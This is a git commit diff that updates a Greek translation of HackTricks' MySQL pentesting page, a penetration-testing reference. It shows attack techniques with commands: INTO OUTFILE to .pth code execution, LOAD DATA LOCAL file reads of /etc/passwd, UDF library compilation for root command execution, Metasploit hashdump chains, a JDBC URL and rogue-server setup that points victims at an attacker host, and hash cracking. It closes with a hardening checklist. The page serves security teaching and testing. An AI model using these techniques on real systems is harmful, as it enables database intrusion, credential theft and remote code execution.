mirror of
https://github.com/HackTricks-wiki/hacktricks.git
synced 2025-10-10 18:36:50 +00:00
Translated ['src/network-services-pentesting/pentesting-mysql.md'] to el
This commit is contained in:
parent
baac7723dd
commit
f0978e8c85
@ -111,11 +111,11 @@ SELECT routine_name FROM information_schema.routines WHERE routine_type = 'FUNCT
|
|||||||
|
|
||||||
#### INTO OUTFILE → Python `.pth` RCE (ειδικές ρυθμίσεις ιστότοπου)
|
#### INTO OUTFILE → Python `.pth` RCE (ειδικές ρυθμίσεις ιστότοπου)
|
||||||
|
|
||||||
Καταχρώντας την κλασική πρωτοβουλία `INTO OUTFILE`, είναι δυνατόν να αποκτηθεί *εκτέλεση αυθαίρετου κώδικα* σε στόχους που εκτελούν αργότερα **Python** σενάρια.
|
Καταχρώντας την κλασική εντολή `INTO OUTFILE`, είναι δυνατόν να αποκτηθεί *εκτέλεση αυθαίρετου κώδικα* σε στόχους που εκτελούν αργότερα **Python** σενάρια.
|
||||||
|
|
||||||
1. Χρησιμοποιήστε το `INTO OUTFILE` για να ρίξετε ένα προσαρμοσμένο **`.pth`** αρχείο μέσα σε οποιονδήποτε φάκελο φορτώνεται αυτόματα από το `site.py` (π.χ. `.../lib/python3.10/site-packages/`).
|
1. Χρησιμοποιήστε `INTO OUTFILE` για να ρίξετε ένα προσαρμοσμένο **`.pth`** αρχείο μέσα σε οποιονδήποτε φάκελο φορτώνεται αυτόματα από το `site.py` (π.χ. `.../lib/python3.10/site-packages/`).
|
||||||
2. Το αρχείο `.pth` μπορεί να περιέχει μια *μοναδική γραμμή* που ξεκινά με `import ` ακολουθούμενη από αυθαίρετο Python κώδικα που θα εκτελείται κάθε φορά που ξεκινά ο διερμηνέας.
|
2. Το αρχείο `.pth` μπορεί να περιέχει μια *μοναδική γραμμή* που ξεκινά με `import ` ακολουθούμενη από αυθαίρετο Python κώδικα που θα εκτελείται κάθε φορά που ξεκινά ο διερμηνέας.
|
||||||
3. Όταν ο διερμηνέας εκτελείται έμμεσα από ένα CGI σενάριο (για παράδειγμα `/cgi-bin/ml-draw.py` με shebang `#!/bin/python`), το payload εκτελείται με τα ίδια προνόμια όπως η διαδικασία του web-server (FortiWeb το εκτέλεσε ως **root** → πλήρης προ-auth RCE).
|
3. Όταν ο διερμηνέας εκτελείται έμμεσα από ένα CGI σενάριο (για παράδειγμα `/cgi-bin/ml-draw.py` με shebang `#!/bin/python`), το payload εκτελείται με τα ίδια προνόμια όπως η διαδικασία του web-server (το FortiWeb το εκτέλεσε ως **root** → πλήρης προ-auth RCE).
|
||||||
|
|
||||||
Παράδειγμα payload `.pth` (μοναδική γραμμή, δεν μπορούν να περιληφθούν κενά στο τελικό SQL payload, οπότε μπορεί να απαιτείται hex/`UNHEX()` ή συγχώνευση συμβολοσειρών):
|
Παράδειγμα payload `.pth` (μοναδική γραμμή, δεν μπορούν να περιληφθούν κενά στο τελικό SQL payload, οπότε μπορεί να απαιτείται hex/`UNHEX()` ή συγχώνευση συμβολοσειρών):
|
||||||
```python
|
```python
|
||||||
@ -149,12 +149,12 @@ uid=0(root) gid=0(root) groups=0(root)
|
|||||||
## MySQL αυθαίρετη ανάγνωση αρχείου από πελάτη
|
## MySQL αυθαίρετη ανάγνωση αρχείου από πελάτη
|
||||||
|
|
||||||
Στην πραγματικότητα, όταν προσπαθείτε να **φορτώσετε δεδομένα τοπικά σε έναν πίνακα** το **περιεχόμενο ενός αρχείου** ο διακομιστής MySQL ή MariaDB ζητά από τον **πελάτη να το διαβάσει** και να στείλει το περιεχόμενο. **Έτσι, αν μπορείτε να παραποιήσετε έναν πελάτη mysql για να συνδεθείτε στον δικό σας διακομιστή MySQL, μπορείτε να διαβάσετε αυθαίρετα αρχεία.**\
|
Στην πραγματικότητα, όταν προσπαθείτε να **φορτώσετε δεδομένα τοπικά σε έναν πίνακα** το **περιεχόμενο ενός αρχείου** ο διακομιστής MySQL ή MariaDB ζητά από τον **πελάτη να το διαβάσει** και να στείλει το περιεχόμενο. **Έτσι, αν μπορείτε να παραποιήσετε έναν πελάτη mysql για να συνδεθείτε στον δικό σας διακομιστή MySQL, μπορείτε να διαβάσετε αυθαίρετα αρχεία.**\
|
||||||
Παρακαλώ σημειώστε ότι αυτή είναι η συμπεριφορά που χρησιμοποιεί:
|
Παρακαλώ σημειώστε ότι αυτή είναι η συμπεριφορά που χρησιμοποιείται:
|
||||||
```bash
|
```bash
|
||||||
load data local infile "/etc/passwd" into table test FIELDS TERMINATED BY '\n';
|
load data local infile "/etc/passwd" into table test FIELDS TERMINATED BY '\n';
|
||||||
```
|
```
|
||||||
(Σημειώστε τη λέξη "local")\
|
(Προσοχή στη λέξη "τοπικό")\
|
||||||
Επειδή χωρίς το "local" μπορείτε να αποκτήσετε:
|
Επειδή χωρίς το "τοπικό" μπορείς να πάρεις:
|
||||||
```bash
|
```bash
|
||||||
mysql> load data infile "/etc/passwd" into table test FIELDS TERMINATED BY '\n';
|
mysql> load data infile "/etc/passwd" into table test FIELDS TERMINATED BY '\n';
|
||||||
|
|
||||||
@ -179,16 +179,16 @@ systemctl status mysql 2>/dev/null | grep -o ".\{0,0\}user.\{0,50\}" | cut -d '=
|
|||||||
```
|
```
|
||||||
#### Επικίνδυνες Ρυθμίσεις του mysqld.cnf
|
#### Επικίνδυνες Ρυθμίσεις του mysqld.cnf
|
||||||
|
|
||||||
Στη διαμόρφωση των υπηρεσιών MySQL, διάφορες ρυθμίσεις χρησιμοποιούνται για να καθορίσουν τη λειτουργία και τα μέτρα ασφαλείας της:
|
Στη διαμόρφωση των υπηρεσιών MySQL, διάφορες ρυθμίσεις χρησιμοποιούνται για τον καθορισμό της λειτουργίας και των μέτρων ασφαλείας της:
|
||||||
|
|
||||||
- Η **`user`** ρύθμιση χρησιμοποιείται για τον καθορισμό του χρήστη υπό τον οποίο θα εκτελείται η υπηρεσία MySQL.
|
- Η **`user`** ρύθμιση χρησιμοποιείται για τον καθορισμό του χρήστη υπό τον οποίο θα εκτελείται η υπηρεσία MySQL.
|
||||||
- Η **`password`** εφαρμόζεται για την καθορισμένη του κωδικού πρόσβασης που σχετίζεται με τον χρήστη MySQL.
|
- Η **`password`** εφαρμόζεται για την καθορισμό του κωδικού πρόσβασης που σχετίζεται με τον χρήστη MySQL.
|
||||||
- Η **`admin_address`** προσδιορίζει τη διεύθυνση IP που ακούει για TCP/IP συνδέσεις στη διαχειριστική διεπαφή δικτύου.
|
- Η **`admin_address`** καθορίζει τη διεύθυνση IP που ακούει για συνδέσεις TCP/IP στη διαχειριστική διεπαφή δικτύου.
|
||||||
- Η **`debug`** μεταβλητή υποδεικνύει τις τρέχουσες ρυθμίσεις αποσφαλμάτωσης, συμπεριλαμβανομένων ευαίσθητων πληροφοριών μέσα στα αρχεία καταγραφής.
|
- Η **`debug`** μεταβλητή υποδεικνύει τις τρέχουσες ρυθμίσεις αποσφαλμάτωσης, συμπεριλαμβανομένων ευαίσθητων πληροφοριών μέσα στα αρχεία καταγραφής.
|
||||||
- Η **`sql_warnings`** διαχειρίζεται αν παράγονται πληροφοριακές συμβολοσειρές για δηλώσεις INSERT μίας γραμμής όταν προκύπτουν προειδοποιήσεις, περιέχοντας ευαίσθητα δεδομένα μέσα στα αρχεία καταγραφής.
|
- Η **`sql_warnings`** διαχειρίζεται εάν παράγονται πληροφοριακές συμβολοσειρές για δηλώσεις INSERT μίας γραμμής όταν προκύπτουν προειδοποιήσεις, περιλαμβάνοντας ευαίσθητα δεδομένα μέσα στα αρχεία καταγραφής.
|
||||||
- Με την **`secure_file_priv`**, το πεδίο των λειτουργιών εισαγωγής και εξαγωγής δεδομένων περιορίζεται για την ενίσχυση της ασφάλειας.
|
- Με την **`secure_file_priv`**, το πεδίο των λειτουργιών εισαγωγής και εξαγωγής δεδομένων περιορίζεται για την ενίσχυση της ασφάλειας.
|
||||||
|
|
||||||
### Ανύψωση προνομίων
|
### Ανάβαση προνομίων
|
||||||
```bash
|
```bash
|
||||||
# Get current user (an all users) privileges and hashes
|
# Get current user (an all users) privileges and hashes
|
||||||
use mysql;
|
use mysql;
|
||||||
@ -208,11 +208,11 @@ grant SELECT,CREATE,DROP,UPDATE,DELETE,INSERT on *.* to mysql identified by 'mys
|
|||||||
```
|
```
|
||||||
### Privilege Escalation via library
|
### Privilege Escalation via library
|
||||||
|
|
||||||
Αν ο **mysql server τρέχει ως root** (ή ως διαφορετικός πιο προνομιούχος χρήστης) μπορείτε να τον κάνετε να εκτελεί εντολές. Για αυτό, χρειάζεται να χρησιμοποιήσετε **user defined functions**. Και για να δημιουργήσετε μια user defined θα χρειαστείτε μια **library** για το λειτουργικό σύστημα που τρέχει ο mysql.
|
Αν ο **mysql server τρέχει ως root** (ή ως διαφορετικός χρήστης με περισσότερα δικαιώματα) μπορείτε να τον κάνετε να εκτελεί εντολές. Για αυτό, χρειάζεται να χρησιμοποιήσετε **user defined functions**. Και για να δημιουργήσετε μια user defined θα χρειαστείτε μια **library** για το λειτουργικό σύστημα που τρέχει ο mysql.
|
||||||
|
|
||||||
Η κακόβουλη βιβλιοθήκη που θα χρησιμοποιήσετε μπορεί να βρεθεί μέσα στο sqlmap και μέσα στο metasploit κάνοντας **`locate "*lib_mysqludf_sys*"`**. Τα **`.so`** αρχεία είναι **linux** βιβλιοθήκες και τα **`.dll`** είναι οι **Windows**. Επιλέξτε αυτή που χρειάζεστε.
|
Η κακόβουλη βιβλιοθήκη που θα χρησιμοποιήσετε μπορεί να βρεθεί μέσα στο sqlmap και μέσα στο metasploit κάνοντας **`locate "*lib_mysqludf_sys*"`**. Τα **`.so`** αρχεία είναι **linux** βιβλιοθήκες και τα **`.dll`** είναι οι **Windows**. Επιλέξτε αυτή που χρειάζεστε.
|
||||||
|
|
||||||
Αν **δεν έχετε** αυτές τις βιβλιοθήκες, μπορείτε είτε να **τις αναζητήσετε**, είτε να κατεβάσετε αυτό το [**linux C code**](https://www.exploit-db.com/exploits/1518) και να **το μεταγλωττίσετε μέσα στη linux ευάλωτη μηχανή**:
|
Αν **δεν έχετε** αυτές τις βιβλιοθήκες, μπορείτε είτε να **τις αναζητήσετε**, είτε να κατεβάσετε αυτόν τον [**linux C code**](https://www.exploit-db.com/exploits/1518) και να **τον μεταγλωττίσετε μέσα στη linux ευάλωτη μηχανή**:
|
||||||
```bash
|
```bash
|
||||||
gcc -g -c raptor_udf2.c
|
gcc -g -c raptor_udf2.c
|
||||||
gcc -g -shared -Wl,-soname,raptor_udf2.so -o raptor_udf2.so raptor_udf2.o -lc
|
gcc -g -shared -Wl,-soname,raptor_udf2.so -o raptor_udf2.so raptor_udf2.o -lc
|
||||||
@ -646,7 +646,58 @@ Note: sourced from https://github.com/carlospolop/legion
|
|||||||
Command: msfconsole -q -x 'use auxiliary/scanner/mysql/mysql_version; set RHOSTS {IP}; set RPORT 3306; run; exit' && msfconsole -q -x 'use auxiliary/scanner/mysql/mysql_authbypass_hashdump; set RHOSTS {IP}; set RPORT 3306; run; exit' && msfconsole -q -x 'use auxiliary/admin/mysql/mysql_enum; set RHOSTS {IP}; set RPORT 3306; run; exit' && msfconsole -q -x 'use auxiliary/scanner/mysql/mysql_hashdump; set RHOSTS {IP}; set RPORT 3306; run; exit' && msfconsole -q -x 'use auxiliary/scanner/mysql/mysql_schemadump; set RHOSTS {IP}; set RPORT 3306; run; exit'
|
Command: msfconsole -q -x 'use auxiliary/scanner/mysql/mysql_version; set RHOSTS {IP}; set RPORT 3306; run; exit' && msfconsole -q -x 'use auxiliary/scanner/mysql/mysql_authbypass_hashdump; set RHOSTS {IP}; set RPORT 3306; run; exit' && msfconsole -q -x 'use auxiliary/admin/mysql/mysql_enum; set RHOSTS {IP}; set RPORT 3306; run; exit' && msfconsole -q -x 'use auxiliary/scanner/mysql/mysql_hashdump; set RHOSTS {IP}; set RPORT 3306; run; exit' && msfconsole -q -x 'use auxiliary/scanner/mysql/mysql_schemadump; set RHOSTS {IP}; set RPORT 3306; run; exit'
|
||||||
|
|
||||||
```
|
```
|
||||||
|
## 2023-2025 Highlights (new)
|
||||||
|
|
||||||
|
### JDBC `propertiesTransform` deserialization (CVE-2023-21971)
|
||||||
|
Από το Connector/J <= 8.0.32, ένας επιτιθέμενος που μπορεί να επηρεάσει το **JDBC URL** (για παράδειγμα σε λογισμικό τρίτων που ζητάει μια συμβολοσειρά σύνδεσης) μπορεί να ζητήσει αυθαίρετες κλάσεις να φορτωθούν στην *περίπτωση* μέσω της παραμέτρου `propertiesTransform`. Εάν μια συσκευή που είναι παρούσα στο class-path είναι φορτίσιμη, αυτό έχει ως αποτέλεσμα **εκτέλεση απομακρυσμένου κώδικα στο πλαίσιο του JDBC client** (προ-auth, επειδή δεν απαιτούνται έγκυρα διαπιστευτήρια). Ένα ελάχιστο PoC φαίνεται ως εξής:
|
||||||
|
```java
|
||||||
|
jdbc:mysql://<attacker-ip>:3306/test?user=root&password=root&propertiesTransform=com.evil.Evil
|
||||||
|
```
|
||||||
|
Η εκτέλεση του `Evil.class` μπορεί να είναι τόσο εύκολη όσο η παραγωγή του στο class-path της ευάλωτης εφαρμογής ή η αφήγηση ενός κακόβουλου MySQL server να στείλει ένα κακόβουλο σειριακό αντικείμενο. Το ζήτημα διορθώθηκε στην Connector/J 8.0.33 – αναβαθμίστε τον οδηγό ή ορίστε ρητά το `propertiesTransform` σε μια λίστα επιτρεπόμενων.
|
||||||
|
(Δείτε την αναφορά του Snyk για λεπτομέρειες)
|
||||||
|
|
||||||
|
### Επιθέσεις από κακόβουλους / ψεύτικους MySQL servers κατά των JDBC πελατών
|
||||||
|
Διάφορα εργαλεία ανοιχτού κώδικα υλοποιούν ένα *μερικό* πρωτόκολλο MySQL προκειμένου να επιτεθούν σε JDBC πελάτες που συνδέονται εξωτερικά:
|
||||||
|
|
||||||
|
* **mysql-fake-server** (Java, υποστηρίζει εκμεταλλεύσεις ανάγνωσης αρχείων και αποσειριοποίησης)
|
||||||
|
* **rogue_mysql_server** (Python, παρόμοιες δυνατότητες)
|
||||||
|
|
||||||
|
Τυπικές διαδρομές επίθεσης:
|
||||||
|
|
||||||
|
1. Η εφαρμογή-θύμα φορτώνει το `mysql-connector-j` με `allowLoadLocalInfile=true` ή `autoDeserialize=true`.
|
||||||
|
2. Ο επιτιθέμενος ελέγχει την DNS / καταχώρηση host έτσι ώστε το όνομα του DB να επιλύεται σε μια μηχανή υπό τον έλεγχό του.
|
||||||
|
3. Ο κακόβουλος server απαντά με κατασκευασμένα πακέτα που ενεργοποιούν είτε την ανάγνωση αρχείων `LOCAL INFILE` είτε την αποσειριοποίηση Java → RCE.
|
||||||
|
|
||||||
|
Παράδειγμα one-liner για να ξεκινήσετε έναν ψεύτικο server (Java):
|
||||||
|
```bash
|
||||||
|
java -jar fake-mysql-cli.jar -p 3306 # from 4ra1n/mysql-fake-server
|
||||||
|
```
|
||||||
|
Στη συνέχεια, κατευθύνετε την εφαρμογή-στόχο στο `jdbc:mysql://attacker:3306/test?allowLoadLocalInfile=true` και διαβάστε το `/etc/passwd` κωδικοποιώντας το όνομα αρχείου ως base64 στο πεδίο *username* (`fileread_/etc/passwd` → `base64ZmlsZXJlYWRfL2V0Yy9wYXNzd2Q=`).
|
||||||
|
|
||||||
|
### Σπάσιμο κατακερματισμών `caching_sha2_password`
|
||||||
|
MySQL ≥ 8.0 αποθηκεύει τους κατακερματισμούς κωδικών πρόσβασης ως **`$mysql-sha2$`** (SHA-256). Και το Hashcat (λειτουργία **21100**) και το John-the-Ripper (`--format=mysql-sha2`) υποστηρίζουν εκτός σύνδεσης σπάσιμο από το 2023. Εξάγετε τη στήλη `authentication_string` και τροφοδοτήστε την απευθείας:
|
||||||
|
```bash
|
||||||
|
# extract hashes
|
||||||
|
echo "$mysql-sha2$AABBCC…" > hashes.txt
|
||||||
|
# Hashcat
|
||||||
|
hashcat -a 0 -m 21100 hashes.txt /path/to/wordlist
|
||||||
|
# John the Ripper
|
||||||
|
john --format=mysql-sha2 hashes.txt --wordlist=/path/to/wordlist
|
||||||
|
```
|
||||||
|
### Λίστα ελέγχου σκληροποίησης (2025)
|
||||||
|
• Ρυθμίστε **`LOCAL_INFILE=0`** και **`--secure-file-priv=/var/empty`** για να καταργήσετε τις περισσότερες πρωτογενείς λειτουργίες ανάγνωσης/εγγραφής αρχείων.
|
||||||
|
• Αφαιρέστε το δικαίωμα **`FILE`** από τους λογαριασμούς εφαρμογών.
|
||||||
|
• Στο Connector/J ρυθμίστε `allowLoadLocalInfile=false`, `allowUrlInLocalInfile=false`, `autoDeserialize=false`, `propertiesTransform=` (κενό).
|
||||||
|
• Απενεργοποιήστε τα μη χρησιμοποιούμενα πρόσθετα πιστοποίησης και **απαιτήστε TLS** (`require_secure_transport = ON`).
|
||||||
|
• Παρακολουθήστε για δηλώσεις `CREATE FUNCTION`, `INSTALL COMPONENT`, `INTO OUTFILE`, `LOAD DATA LOCAL` και ξαφνικές δηλώσεις `SET GLOBAL`.
|
||||||
|
|
||||||
|
---
|
||||||
|
|
||||||
## Αναφορές
|
## Αναφορές
|
||||||
- [Pre-auth SQLi to RCE in Fortinet FortiWeb (watchTowr Labs)](https://labs.watchtowr.com/pre-auth-sql-injection-to-rce-fortinet-fortiweb-fabric-connector-cve-2025-25257/)
|
- [Pre-auth SQLi to RCE in Fortinet FortiWeb (watchTowr Labs)](https://labs.watchtowr.com/pre-auth-sql-injection-to-rce-fortinet-fortiweb-fabric-connector-cve-2025-25257/)
|
||||||
|
- [Oracle MySQL Connector/J propertiesTransform RCE – CVE-2023-21971 (Snyk)](https://security.snyk.io/vuln/SNYK-JAVA-COMMYSQL-5441540)
|
||||||
|
- [mysql-fake-server – Rogue MySQL server for JDBC client attacks](https://github.com/4ra1n/mysql-fake-server)
|
||||||
|
|
||||||
|
- [Pre-auth SQLi to RCE in Fortinet FortiWeb (watchTowr Labs)](https://labs.watchtowr.com/pre-auth-sql-injection-to-rce-fortinet-fortiweb-fabric-connector-cve-2025-25257/)
|
||||||
|
|
||||||
{{#include ../banners/hacktricks-training.md}}
|
{{#include ../banners/hacktricks-training.md}}
|
||||||
|
Loading…
x
Reference in New Issue
Block a user